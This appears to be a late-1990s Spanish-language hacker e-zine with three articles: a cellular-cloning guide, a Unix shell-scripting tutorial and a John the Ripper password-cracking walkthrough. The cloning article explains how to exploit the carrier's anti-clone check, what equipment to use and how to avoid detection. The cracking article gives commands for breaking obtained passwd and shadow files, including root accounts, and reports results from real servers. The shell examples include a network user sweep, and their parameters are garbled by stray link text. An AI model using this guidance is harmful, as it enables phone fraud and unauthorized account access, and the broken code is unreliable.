ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
____ ÷÷
~~(÷÷ ÷÷§§>
Sistema Anti-Klon de Movilnet
ÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍ ÍÍ ÍÍÍÍÍÍÍÍ
Cuando comenzo el BOOM de los telefonos celulares, TELCEL y Movilnet
empezaron a luchar por el mercado, cada cual con sus ventajas analogicas
para aquel entonces, posteriormente Telcel logra una mayor cobertura en el
pais y mas adelante aparece Movilnet con mayor cobertura internacional, en
fin, la eterna lucha por el poder.
Posteriormente a eso, surgen los problemas tipicos de cualquier actividad,
aparecen los famosos "klonadores", y la gente se preocupa preguntandose
como lo hacen?, para que lo hacen?, etc, etc. Entonces Movilnet, que esta
asociada con CANTV, lanza al mercado el internacionalmente famoso Anti-Klon.
Empieza una larga campa¤a de concientizacion e informacion para todos los
usuarios con la finalidad de vacunar el celular para prevenir la klonacion,
hecho que como veremos mas adelante es IMPOSIBLE de impedir.
Ahora bien, este sistema de Anti-Klon fue utilizado en los Estados Unidos
y en Jap¢n desde que salieron los celulares, ya que los mismos eran
re-programados para cambiar el serial electronico y asi generar un "klone",
pero... Como funciona?, Que pasa en Venezuela con eso?.
El sistema de Anti-Klone no es mas que un software que se encarga de
comparar la residencia o el domicilio del verdadero usuario del celular y
registrar todas las llamadas que realiza, asi como controlar el roaming, y
conocer donde se encuentra realmente y asegurar que no es un klone. En la
practica compara la hora en que se emitio la llamada y detecta si por
ejemplo la victima llamo a la 1:45PM desde Caracas y luego llamo a la
1:50PM desde Maracay, el sistema anula automaticamente al klone, y NO
factura la llamada al verdadero usuario, es decir la victima. Se lee
super convincente, ehhh????. Bueno, el error de este sistema esta en que
si la victima (Entiendase "verdadero usuario"), se encuentra en la misma
ciudad del klonador el sistema NO detecta el klone, por eso se hace
indetectable por el sistema y puede realizar las llamadas que desee, sin
embargo, Movilnet tiene un Triple-Anti-Klon, Cuadruple, Quintuple, Doble,
y otros tipos de vacunas para hacer creerle a la victima que mientras mas
alto sea el numero mas protegido esta, jejejeje, en realidad es una excusa
para cobrarle mas por el servicio y por el celular, porque es imposible que
el sistema este vigilando doble o 3 veces mas a la persona, el fulano
"anti-klon" solo a¤ade a la victima a una lista de revision y de rastreo,
para verificar si alguien con el mismo numero de celular esta llamando desde
otra ciudad, por eso no puede vigilar mas veces, sino el sistema de Movilnet
estaria colapsado y adem s es anti-pr ctico, es solo una estrategia
COMERCIAL, es decir, hacen dinero a costillas de los "klonadores" que en el
fondo son mas honestos que dicha empresa de telefonia celular.
Espero que todo este claramente visto y leido, si no entiendes muy bien,
te voy a explicar con unos ejemplos:
El verdadero celular es: victima
El # de celular klonado es: venkiller
Ejemplo #1:
La victima esta en Caracas el Lunes 19 de Abril de 1999, y realiza una
llamada a las 7:45 PM a valencia, luego minutos mas tarde a las 8:00 PM
venkiller realiza una llamada a japon desde su casa en Margarita.
En ese instante el sistema de Movilnet verifica el numero de celular
y cuando detecta que venkiller tiene un numero igual al de la victima
autom ticamente prohibe a venkiller llamar y se produce un tono de
"ocupado" y es imposible llamar, en otros casos se puede realizar la
llamada a japon y la conversacion es grabada para colocar a venkiller
tras las rejas por klonador, el unico problema, es que la conversacion
es en japones y la PTJ no entiende nada de japones, por eso es importante
conocer el sistema.
Ejemplo #2:
La victima esta en el Sambil, Caracas - Venezuela a las 2:45 PM del
25 de Abril de 1999 y se le ocurre llamar a Margarita para preguntarle
a irene a ver si va a votar por el "Doble SI" en el referendum, minutos
mas tarde a las 3:30 PM venkiller esta en La Cascada - Area Metropolitana
(Caracas) porque el sambil le parece una cagada y se dispone a comprar una
pila nueva para su celular elite porque estan en ofertas, tambien aprovecha
y compra otras para el star tac, pero se da cuenta que un pana las habia
comprado en el mercado negro mas baratas, por eso, se dispone a llamar
a las 3:45 PM. a Mr. Hide que esta en San Antonio de los Altos.
Simultaneo a esto el sistema de Movilnet cree que venkiller es la victima
y permite que venkiller complete la llamada y ademas le sale GRATIS, y
sin mayor dificultad.
Ejemplo #3:
La v¡ctima esta en alguna sucursal de Movilnet en Caracas reclamando por el
mal servicio, y venkiller esta en Guarenas paseando para matar el tiempo,
en ese instante la victima realiza una llamada al 02-208.11.11 desde su
celular Movilnet a las 9:15 AM para cambiarse a Telcel, en ese instante a
las 9:16 AM a venkiller tambien se le ocurre llamar, y BINGO!, el sistema
lo deja llamar libre y feliz, aunque fue una casualidad "casualmente
casual".
-Fin de los Ejemplos-
Bueno, eso fueron los tres ejemplos de los casos m s comunes cuando se
llama desde un klonado que tiene "anti-klon", por eso es importante
conocer donde esta la victima para poder realizar la llamada con anti-klon
y super anti-klon, tambien es importante tener en cuenta las reglas y
riesgos para llamar desde un celular klonado, tal como lo explique en el
Tutorial de Klonaci¢n C-lular. Sin embargo, a las personas que NO
acostumbran viajar y que permanecen en una misma ciudad se les puede klonar
el celular mientras no se muevan de ciudad, ese es un error que aunque lean
este art¡culo NUNCA lo podr n solucionar al menos que CAMBIEN el sistema
tan obsoleto que utilizan. Que tarrrco?
Para finalizar este punto les informo que en el 2000 ademas de detenerse
las PC's viejas que manejan fechas tambien se acabar el jueguito de
telcel y Movilnet porque viene una nueva empresa de telefon¡a celular, si
quieren detalles escriban en www.el-nacional.com la palabra clave "telcel"
para que lean el art¡culo.
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
A) ¨Pero qu‚ es exactamente clonar o clonacion?
B) ¨Como funciona?
C) ¨Que sistemas de seguridad tiene?
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
A) Klonar no es mas que copiar el ESN (Serial Electronico) de un celular
a otro celular, existiendo 2 iguales en el mismo planeta, hecho que es
imposible a menos que el celular sea cloneado.
B) Se adquiere por una de tantas formas el ESN del celular y posteriormente
se agrega en otro celular borrando su serial electronico.
C) Mmmm....ya lo explique en la Parte de arriba, el fulano "Anti-Klon"
de Movilnet (que ya me tiene arrech*) NO evita que te clonen el celular,
ya que eso es IMPOSIBLE, NO se puede evitar una clonacion, al menos en
los celulares viejos, es decir del ultimo modelo del Startac 6500 hacia
abajo (en el caso de motorola). Es por eso que al encender la Radio, TV,
o leer la prensa observamos anuncios para cambiar nuestros telefonos a
digitales CDMA (Clonacion Denegada de los Moviles Actuales) jejeje...
¨Que tarrr?... es por eso que Telcel esta deseperad@ recogiendo todos
los celulares viejos. Pero en fin, no hay una seguridad real, la unica
medio seguridad es la de Movilnet, y ademas no garantiza nada, porque
igual te pueden clonear, sin passwords ni nada.
Requisitos para Clonar un Celular Desde la PC
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
- Cable PC-CELULAR (agarra un cable de cargador y lo pegas a la PC)
- Software de klonacion (lo mando en los proximos numeros...)
- Precaucion
- Conocer las limitaciones
- Guardar Respaldo de lo que haces
Cable PC-C-lular
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
Este cable lo puedes construir tu mismo de muchas maneras, la mas sencilla,
es tomar el cable que utiliza el cargador, cortarlo y hacer puente con los
pines del puerto LPT1 de la impresora, para que el software pueda entrar
al celular. En la p gina incluire pr¢ximamente una fotografia del cable al
cual me refiero, en caso tal que no entiendan.
Actualmente soportan clonaci¢n en el caso de Motorola los celulares:
Tele-Tac 250, Micro Tac Lite II, Tango 3000, Pocket Classic 950 y todos
los anteriores al startac 6500. Para el caso de nokia, samsung, etc..etc.,
los modelos anteriores al a¤o 98. Yo personalmente lo he logrado con los
modelos que describi anteriormente (Teletac, microtac...etc..). Tambi‚n
hay que tomar en cuenta el modelo de tel‚fono celular.
Software de Klonaci¢n
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
Existen infinidades de softwares, pero yo me concentro en el motorola
(que es el modelo que utilizo), y personalmente utilizo el Motorola 6.6,
para los otros modelos tambi‚n existen softwares los cuales ir‚ nombrando
luego.
Precauci¢n
ÍÍÍÍÍÍÍÍÍÍ
Esto es super importante, hasta que el "klonador" no internalize que
clonar es como tal una actividad ILEGAL, y que existen normas y aunque
"moribundas", las leyes en Venezuela sancionan esta actividad.
Muchas personas piensan que en Venezuela, el B.A.E., la P.T.J. u otros
organismos de "justicia" solo comen perros calientes, y fuman tabaco,
pero en realidad NO es as¡, creanme y si no me creen busquen el peri¢dico
el Nacional (www.el-nacional.com) y lean acerca de "el coquito", un
tipo dedicado a clonar desde hace tiempo, as¡ como otros colegas
del mundo que se dedican a esta actividad para vivir, a diferencia de mi
persona que solo lo hace con fines de entretenimiento y educaci¢n para
mis lectores.
LIMITACIONES
ÍÍÍÍÍÍÍÍÍÍÍÍ
Un celular cloneado es ILEGAL en el momento que el verdadero due¤o, no
tiene ning£n conocimiento acerca de la clonaci¢n de su aparato, por tanto
hay que tener en cuenta las siguientes limitaciones, que aunque se pueden
hacer NO se deben, al menos que quieras ir a pagar condena, o pena de
muerte (¨que dir la consituyente de eso?¨?...jejeje). Al menos el
Art¡culo 2 del C¢digo Civil de la 4ta Rep£blica de Venezuela indica que:
"la ignorancia de la ley no excusa de su cumplimiento", que en el caso de
clonar celulares puedes ir preso aunque digas "ayyy, perd¢n, es que yo no
sab¡a".
Recuerden que desde un celular clonado:
- NO se debe accesar al Telbox ¢ buz¢n de mensajes.
- NO se deben recibir llamadas.
- NO se debe dar informaci¢n exacta, precisa y concisa acerca de la
direcci¢n de nuestro domicilio, ¢ nuestro nombre completo.
- NO hacer p£blico el # del celular clonado
- NO mantener el celular encendido al menos que sea para llamar
- Recordar que el due¤o del # observar todos los n£meros que llames y
la polic¡a podr escuchar tus llamadas para tratar de joderte.
Guardar Respaldo de lo que haces
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
La mayor¡a (por no decir todos), los celulares digitales poseen un
sistema de protecci¢n que inyecta un virus y da¤a el software de
clonaci¢n por eso es importante que copies el software tantas veces
como puedas.
Tambi‚n es importante que guardes el serial electr¢nico original del
telefono en un lugar seguro en caso de "cancelaci¢n de la cuenta", sin
embargo este se encuentra en una etiqueta del celular.
VeN tHe KiLlEr RaT!
http://pagina.de/venkiller
http://come.to/venkiller
ICQ#: 3592401
==O0o0O==
Chao!
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÍÍ͹ Programaci¢n del Shell de Unix ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹DoctorXÌÍÍÍÍÍ
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
El shell de unix no es simplemente el entorno en el cual se
ejecutan los commandos del sistema, puede ser una herramienta de
programaci¢n muy util para realizar muchas tareas con mayor
facilidad. Para un Programador el shell de unix es una manera de
practicar la programaci¢n a diario, y un hacker no esta aislado
de la necesidad de saber programar ademas un hacker que no sabe
programar simplemente no aprovecha la ventaja que le dan sus
conocimientos para aplicarlos en su entorno ya que tampoco nos
podemos sentar a esperar que otro escriba los exploits.
Declaraci¢n de Variables:
Una variable es declarada con la sentencia export para que
sea una variable del entorno y pueda ser llamada por cualquier
sentencia dentro del programa, aunque no siempre es necesario
utilizar "export " en la declaraci¢n de la misma, ya que si no se
hace solo puede ser utilizada por ese script en particular y no
puede ser empleada por otros scripts mientras que con export si
se puede ademas de poder ser utilizada con ese mismo nombre por
otros scripts.
Ejm:
export RED="11.11.11.11"
o simplemente
RED=11.11.11.11
Asi tendremos una variable del shell con el ip de una red
que puede ser llamada por cualquier instrucci¢n dentro del
programa utilizando un "$" antes del nombre de la misma y si
la variable tiene alguna extensi¢n para no confundir la
extensi¢n con el nombre se debe utilizar un corchete "{}" o sea
se llama ${RED}old se supone que la extensi¢n es old.
Ejm: si RED=11.11.11.
y old=3
entonces ${RED}old seria igual a 11.11.11.3
Asignacion de Variables en la linea de comandos:
A menudo se quiere que un programa o en nuestro caso un
shell script se execute con ciertos parametros iniciales que sean
entregados desde la linea de comandos.
Ejm:
$ sh programa.sh dato1 dato2
Supongamos que dato1 e dato2 son los parametros de interes
estos seran utilizados dentro del programa refiriendose a ellas
en el mismo orden en que fueron pasados como en nuestro ejemplo
jumi para dato1 y [*3] [http://www.govannom.org/e-zines/hven/hven001.txt] dato2 asi estos datos pueden ser manipulados,
si el numero del parametro es mayor que un digito se llama
por ejemplo .
Ejm :
#!/bin/bash
export RED=jumi
export HOST=[*3] [http://www.govannom.org/e-zines/hven/hven001.txt]
Telnet $HOST ;
Ipfwadm -F -a m -D $RED o ===> ipfwadm -F -a m -D jumi
De esa forma estaremos asignandole los valores requeridos en
la linea de comandos a variables del entorno del shell
para ser utilizadas dentro de el programa. La instrucci¢n $#
devuelve la cantidad de parametros pasados en la linea de
comandos.
Ejm:
--------------prueba.sh------------------
#! /bin/sh
export HOST=jumi
export FUN=[*3] [http://www.govannom.org/e-zines/hven/hven001.txt]
echo "Cantidad de Parametros $#"
echo "Este es el Host: jumi"
echo "Esta es la Funcion: [*3] [http://www.govannom.org/e-zines/hven/hven001.txt]"
$FUN $HOST
--------------prueba.sh-------------------
al ser ejecutado de esta forma:
$sh prueba.sh foo.com ftp
el resultado en pantalla sera :
Cantidad de Parametros 2
Este es el Host: foo.com
Esta es la Funcion: ftp
y lo que sigue sera la conexi¢n a el ftp en foo.com
Es importante notar que $# nos dice la cantidad de parametros que
fueron pasados en la llamada del script y {jumi [*3] [http://www.govannom.org/e-zines/hven/hven001.txt]} nos da el nombre del
shell script en ejecucion.
llamada del shell script
$ sh prueba.sh bacteria.hven.org telnet
Resultado :
Cantidad de Par metros 2
Este es el Host : bacteria.hven.org
Esta es la Funci¢n: telnet
Trying 127.0.0.1
Connected to bacteria.hven.org
......
O la otra opcion seria
$ chmod 755 prueba.sh
$ ./prueba.sh bacteria.hven.org telnet
es de notar que a partir del nombre del programa los parametros son
nombrados en orden ascendente o sea jumi,[*3] [http://www.govannom.org/e-zines/hven/hven001.txt] etc ..... tantos $
como parametros, si usted hace referencia a un parametro que no
fue pasado entonces, este sera igual a un espacio en blanco.
Comandos
Cualquier comando o instrucci¢n del shell como el ftp,el
telnet o el finger es una instrucci¢n en la programaci¢n del shell
de unix, lo cual nos da la ventaja de programar con comandos de uso
cotidiano para un usuario de un sistema unix.
source :lee y ejecuta lineas de comandos desde otro archivo.
[]: en una condici¢n if significa test o sea si se cumple produce
una respuesta que es igual a la verificaci¢n del if sobre la condici¢n.
Pipeline o tuberia son una lista de comandos separados por el
caracter "|" los cuales se ejecutan de forma sucesiva.
read : se utiliza para leer datos de pantalla y asignarlos a
una variable.
Ejm:
RED=
read RED
Estructuras de Programaci¢n:
if
if condici¢n1 then lista_de_comandos1 [elseif condici¢n2 then
lista_de_comandos2 ] ....... [else lista_de_comandos_n ] fi
la ultima condici¢n no tiene elseif si no else, y el if se
cierra con fi. Las condiciones son las cosas que deben ocurrir
para que se ejecute la lista de comandos, en este caso si se
cumple la condici¢n1 entonces se ejecuta la lista de comandos 1
y asi sucesivamente.
Case
An logo al swicht de lenguaje C, al Select Case de Visual Basic o
al case de pascal el case del shell permite comparar una
condici¢n con una serie de valores.
Ejm:
case palabra in [ patron1 [\patron2]....) Lista_de_comandos
;;[.........
esac
nota: el case se cierra con esac, case alreves.
los patrones pueden ser valores algo asi como si X es gual a 1,2
o 3 haga tal cosa, pero tambi‚n se pueden tener varios patrones
separados por ";" para asi colocar varias condiciones.
Ejm:
case $# in 0) echo "Faltan Par metros" ;;
1) echo "Falta Algo" ;;
2) echo "Par metros Completos" ;
esac
de esta manera si al programa no se le pasan par metros entonces
escribe en pantalla "Faltan Par metros" , si se le pasa un solo
par metro muestra en pantalla un mensaje "Falta Algo" y si se le
pasan dos entonces muestra un mensaje en pantalla igual a
"Par metros Completos" mas obvio su uso no puede ser.
Select
Esta estructura se utiliza para interactuar con el usuario, de
esta forma el mismo puede colocar las opciones que desee o pasar
los par metros que desee de manera interactiva y la respuesta se
guarda en una variable que se va procesando para el uso
predeterminado por el programa, o sea se pueden utilizar opciones
y de acuerdo a ellas solicitar parametros al usuario, la opci¢n
escogida se guarda autom ticamente en la variable REPLY del shell
por si se necesita saber mas adelante que opci¢n fue la ultima que
fue elegida, y si no se le da en la estructura del select
caracteres pasados entre "[ ]" entonces estos parametros ser n
tomados de la linea de comandos. Y esta se ejecutar
indefinidamente hasta que se encuentre con un break o un return.
Sintaxis: select variable [in conjunto ] ;do lista ;done
Test
Este comando te sirve para verificar una expresi¢n simple o
puede ser binaria.
Ejm: test expresi¢n
algunas expresiones son:
-b archivo: verdadero si el archivo existe y es un dispositivo
de bloques.
-c archivo: verdadero si el archivo existe y es un archivo de
caracteres
-d archivo : verdadero si el archivo existe y es un directorio
-g archivo : verdadero si el archivo existe y tiene activado el
"group-id" o identificador de grupo
El resto de las condiciones estan en las patinas del man son
muchas para describirlas, para poder verlas utilizar $man bash'
Este comando pede ser de mucha utilidad ya que con el se podria
saber si un archivo es ejecutable o no lo cual seria de buen uso
en un shell script.
Estructuras Iterativas
While y until
while lista1 do lista2 done
until lista1 do lista2 done
estos comandos se ejecutan mientras la lista1 (o condiciones) se
cumpla, en el caso del while significa mientras ocurra esto
realice lista2, donde lista2 puede ser una lista de comandos, y
en el caso de el until significa ejecuto lista2 hasta que se cumpla
lista1, la secuencia de instrucciones encerradas por un until o
un while ser n continuamente ejecutadas hasta que se cumplan sus
respectivas condiciones.
Ciclo For
for variable in lista ;do lista1 done
Esta instrucci¢n simplemente hace variar a la variable del
argumento con todos los valores contenidos en lista y ejecuta
para cada uno de ellos las instrucciones que estan en lista2.
Ejemplo:
#!/bin/bash
RED=140.149.44.
for HOST in 1 2 3 4 5 6 7 8 9 10 11 12 13 14;
do
rusers -al ${RED}HOST >> loged.txt
done
Con este peque¤o shell script estaras obteniendo una lista de
los usuarios conectados en las maquinas de la RED 140.149.44
cuyos IPs son utilizados en este script desde el 1 al 14, el
resultado sera depositado en un archivo llamado loged.txt.
Funciones:
Las funciones tienen por objeto dividir problemas grandes en
peque¤os y a su vez si estos se repiten a cada rato tener una
rutina para resolverlos que pueda ser llamada varias veces sin
necesidad de escribir el codigo de la misma en cada oportunidad.
Una caracteristica interesante de las funciones es que se le
pueden pasar parametros en un orden distinto al que fueron
suministrados al shell script, o sea el parametro 2 del shell
script puede ser el primero de la funci¢n.
Sintaxis: function nombre() {instrucciones ;}
nombre es el nombre con el que se llamara la funci¢n.
Ejemplo:
#!/bin/bash
SCAN-PRO="/scripts/run.sh"
function scan(){
echo "Inicio del Scan"
$SCAN-PRO jumi [*3] [http://www.govannom.org/e-zines/hven/hven001.txt] ;}
scan [*3] [http://www.govannom.org/e-zines/hven/hven001.txt] jumi
En este caso supongamos que tenemos un shell script para hacer un
barrido (scan) de puertos y que requiere de 2 parametros hacemos
una funci¢n para hacer la llamada al barrido y pasarle los
parametros al mismo pero fijense que los parametros 1 y 2 de la
funci¢n son los parametros 2 y 1 del shell script original y en la
llamada a la funci¢n se define el orden de los mismos.Para declarer
variables dentro de la misma funcion se puede utilizar la sentencia
local con ella se estaria declarando una variable solo valida para
el sub_shell de la funci¢n.
Ejm: local variable=valor
Break y Return
estas dos instrucciones se utilizan para salir de las estructuras
for,while,until.
break n
se sale del ciclo y si se espefica n , salta n instrucciones.
return n
Cambia el valor de retorno o sea el valor que se necesita para
salir del ciclo de donde n es el nuevo valor.
Atte
DoctorX
"El Conocimiento es Poder"
Zona de Bacterias - http://bactery.8m.com
Bueno flames enviarlos a /dev/null o a /home/(whoami)
comentarios y dudas enviarlos a
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÍÍ͹ Analisis del John The Ripper 1.6 ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹DarKdEaTHÌÍÍÍÍ
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Los passwords en un sistema UNIX generalmente se encuentran en el archivo
/etc/passwd, estos est n muy bien encriptados, hasta no hace mucho a los
administradores no les importaba que ese archivo sea leido por personas
ajenas al sistema ya que crackearlos era algo casi imposible, hasta ahora
la unica manera de crackear estos passwords es encriptando palabras de
igual forma como lo hace el sistema e ir compar ndolas hasta dar con la
palabra buscada, como soluci¢n a esto en algunos sistemas ocultan los
passwords en el archivo /etc/shadow generalmente, este archivo no tiene
permiso de lectura para todo mundo como el /etc/passwd y por eso mismo es
mas dificil conseguirlo, ojo, dificil pero no imposible, han surgido varios
programas para crackear estos passwords, pero sin duda el mas eficiente es
el John The Ripper, ya que es el mas r pido hasta ahora, muchos
administradores desconocen las existencia de este tipo de programas, lo que
es un grav¡simo error ya que al ignorar que puede hacer este programa son
un blanco facil para un ataque del mismo, ya que hay bastante gente que
pregunta sobre el uso del john the ripper aqui analizaremos un poco algunas
de las posibilidades que este nos brinda.
Passwd
ÍÍÍÍÍÍ
Ok, ya tenemos el /etc/passwd, ¨como? bueno ese es otro tema X-D
Que es lo primero que hacemos, pues primero vemos que sea as¡
root:XpAxNqj.2Wh6.:0:0:root:/root:/bin/bash
si en el lugar donde esta "XpAxNqj.2Wh6." vemos "x" o "*" entonces los
passwords estan ocultos, eso lo veremos luego pero por ahora sigamos.
Al ver que si est n los passwords yo recomiendo usar primero la opci¢n
single asi
john -single passwd
donde passwd es el archivo donde se encuentran los passwords pero puede ser
cualquier otro nombre, asi que cuando veas passwd me estoy refiriendo al
archivo donde se encuentran estos passwords y shadow donde estan los passes
en caso de que esten ocultos.
La opci¢n single personalmente es la opci¢n que saca mas passwords, ya que
esta usa la informaci¢n que sale en el passwd sobre ese login, muchas veces,
bueno, much¡simas veces ponen de passwords (hey anota el dato XD) el mismo
login, o el nombre, o el apellido, etc, por ejemplo:
rhantos:RKxhLEYIi7b9o:150:2000:Roberto Hantos:/home/rhantos:/bin/csh
donde el password encriptado es roberto, en modo single este password sale
en mucho menos de un segundo, mas adelante le mostrare algunas cosas sobre
esto.
Listas de Palabras
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
Esto es muy importante si quieres crackear bastantes passwords, aunque de
seguro no sacaras tantos passwords como en modo single, pero si es una muy
buena opci¢n, se usa asi:
john -w:passwords.lst passwd
aqui estoy usando la lista de palabras que trae el john, aqui
podemos usar una opci¢n llamada rules, la cual a cada palabra le pone
variaciones, como sufijos y prefijos, esta opci¢n hace que el tiempo en
terminar sea mucho mayor que sin rules, y personalmente he sacado pocos
passwords con esta opci¢n pero si salen ;)
john -w:passwords.lst passwd -rules
Incremental
ÍÍÍÍÍÍÍÍÍÍÍ
Sin duda, el modo incremental es una muy buena opci¢n, ya que si no
existiera esta opcion tuvieramos que crear listas de palabras del tipo
aaaaaaa hasta zzzzzzz, lo que ocupa mucha memoria en el DD, ademas de
que si vamos a incluir may£sculas y min£sculas seria peor, las opciones
en modo incremental son las siguientes:
alpha: Genera plabras con letras solamente, osea 26 letras
digits: Genera plabras con numeros solamente, desde el 0 hasta el 9
all: Genera plabras con letras, numeros y caracteres especiales, en total
son 90 caracteres, osea se pueden imaginar lo que tardar¡a en terminar
lanman: Es como el del l0phtcrack, nunca lo he usado.
las opciones son...
john -i:alpha passwd
No la he visto terminar, en alpha va probando todas las palabras que se
puedan crear hasta 8 caracteres
john -i:digits passwd
Esta si, con un promedio de 24500 c/s mi pc claro, un pentium 233 MHz MMX
con 32 MB de RAM un password termina en 2 horas y pico, no recuerdo bien,
pero se descubren bastantes, mucha gente pone su numero de c‚dula de
password que aqui en Venezuela es exactamente 8 n£meros, a menos que sea
c‚dula de viejo que son 7.
john -i:all passwd
Hay mucha gente que se obcesiona con un password de algun root y creen que
ajuro lo tiene que conseguir, a ellos les digo que no se obsecionen pero
si funciona, eso tambien depende del tipo de password y de la paciencia que
tengas, por ejemplo una vez puse a crackear un password de root, y a los
9 dias y 3 horas el password habia sido crackeado, restale importancia, y
solo lo pones a trabajar cuando no estes usando el computador, a menos que
tengas linux ya que no hay problema, esto lo digo pq si usas windows y
estas haciendo otras tareas con el y ademas crackeando el pass te va a
ir muy lento, el password que descubr¡ era de este estilo "1446igua"
(sin comillas claro ;) claro que si el password hubiera sido algo
como ",4*V4x5B" seria casi imposible crackear, quiz s el "casi" este
de mas :(
Shadow
ÍÍÍÍÍÍ
Si el passwd esta shadow entonces tenemos que conseguir el /etc/shadow
pues al tenerlo tenemos que unir el shadow y el passwd para asi poder
trabajar con el john, para eso esta el unshadow, se usa asi:
unshadow PASSWORD-FILE SHADOW-FILE
y te mostrar en pantalla el archivo unido, pero eso no nos sirve,
tenemos que unirlo, entonces lo redireccionamos a otro archivo asi
unshadow PASSWORD-FILE SHADOW-FILE > nuevo-passwd
y luego podemos usar el archivo nuevo-passwd normalmente, como hemos
visto anteriormente.
Al conseguir un password este es enviado a un archivo llamado john.pot
y si hemos conseguido 2 passwords, no hay problema para saber cual es cual
pero si tenemos mas de 1000 passwords la cosa se nos complica, para eso
esta la opcion show, esta muestra los passwords crackeados, despues de
haber crackeado algunos passwords ponemos esto.
john -show nuevo-passwd
y pasa igual que con el shadow asi que lo hacemos asi
john -show nuevo-passwd > logins-passes
y donde va el password encriptado, pondra el password ya crackeado
Restore
ÍÍÍÍÍÍÍ
El restore es de mucha utilidad, sobre todo si estas crackeando passwords
muy dif¡ciles de crackear que llevan dias, meses, a¤os, siglos (bueno aqui
como que exagero un poco jeje) en crackear, ya que podemos parar cuando
lo deseamos y continuar cuando queramos desde el mismo lugar donde paramos,
¨arrecho no? ;)
Para usar el restore hacemos lo siguiente
queremos crackear el password del root de la NASA ;)
john -i passwd-root
paramos la ejecucion con CRTL C, y la resturamos asi
john -re
-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-
Nota: El john the ripper es muy flexible en cuanto a abreviaciones, como
por ejemplo el caso anterior, coloque, john -re que es igual a john -restore
tambien en el caso john -i passwd es igual a john -incremental:all passwd
john -wordfile:password.lst passwd es igual a john -w:passwd.lst passwd
john -i passwd -session:restore2 es igual a john -i passwd -se:restore2
john -single passwd es igual a john -si passwd etc, deben haber muchas
mas que no he colocado aqui, b£scalas y me avisas ;)
-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-
Pero al parar una ejecuci¢n con CRTL C, el crea un archivo llamado restore
en el cual estan los datos de como iba el crackeo al momento de ser
interrumpido, y si por un descuido no hemos terminado de crackear ese
password y ponemos al john the ripper a crackear otro pass, el borra ese
restore y crea otro con la informacion del password que se esta crackeando,
para evitar esto hacemos esto
john -i passwd-root -se:restore-root
y para restaurarlos solo pones
john -re:restore-root
y listo, problema solucionado
Tambien podemos buscar passwords especificos, como por ejemplo alg£n tipo
de shell, los que tengan privilegios 0:0 (root), etc,
john -w:password.lst -rules -users:0 passwd
john -w:password.lst -rules -group:0 passwd
john -w:password.lst -rules -shells:sh,csh,tcsh,bash passwd
puede haber muchas variaciones, lo podemos poner en modo incremental en
vez de poner con listas de palabras
john -i -users:0 passwd
en fin, hay mucha posiblidades
Estad¡sticas
ÍÍÍÍÍÍÍÍÍÍÍÍ
Este texto no fue solamente escrito para quienes quieren violar la
seguridad de un sistema, sino tambien para los administradores que
quieran mantener su sistema fuera del alcance de un intruso, mis
recomendaciones personales son que deberian pasarle de vez en cuando
el john the ripper a su sistema para asi saber quienes tienen passwords
facilmente crackeables y obligarlos a cambiar estos passwords ya que
por su inconciencia ponen en juego la seguridad del sistema, segun
resultados REALES podemos ver lo siguiente:
Host N§ 1
En un servidor con 3916 cuentas fueron crackeados 1703 lo cual es un
43.5%, de esos 1703 passwords en modo single fueron crackeados 970 lo
que equivale a un 24.77% del total de passwords y un 57% del total de
passwords crackeados, los otros 733 passwords fueron crackeados con
listas de palabras, no fue usado el modo -rules ya que tardaria
demasiado en terminar, debido a la gran cantidad de passwords, pero
de seguro saldr¡an muchos mas, de estos passwords solo salieron 4 en
modo incremtal:digits, claro, no lo deje terminar, por la misma raz¢n,
pero revisando los passwords crackeados 51 (1.3%) passwords son el mismo
login, ejemplo, login: pepe password: pepe lo que es un gran peligro
para el sistema, algunos son ciudades o paises, caracas (11 veces),
barinas, maturin, y otras palabras como cocacola, cracker, y nombres
(de mujeres y de hombres) entre otros, ¨que haria una buena pol¡tica
con respecto a los passwords? veamos el proximo ejemplo...
Host N§ 2
En un host con una pol¡tica en la escojencia de los passwords muy buena,
seg£n dicen por ahi, hay una carta que te leen al momento de darte una
cuenta en el servidor en la cual comentan la importancia de tener un
password seguro, no solo para tu seguridad, sino la seguridad del
sistema, ha dado resultados pero siempre hay gente que no le para,
aqui hay 1359 cuentas y se nota que si funciono un poco la politica
de esta empresa, en modo single crackea solo 17 passwords, lo cual
viene siendo el 1.25%, comparado con el 24.77% del ejemplo anterior
se nota bastante la diferencia, y con listas de palabras fueron
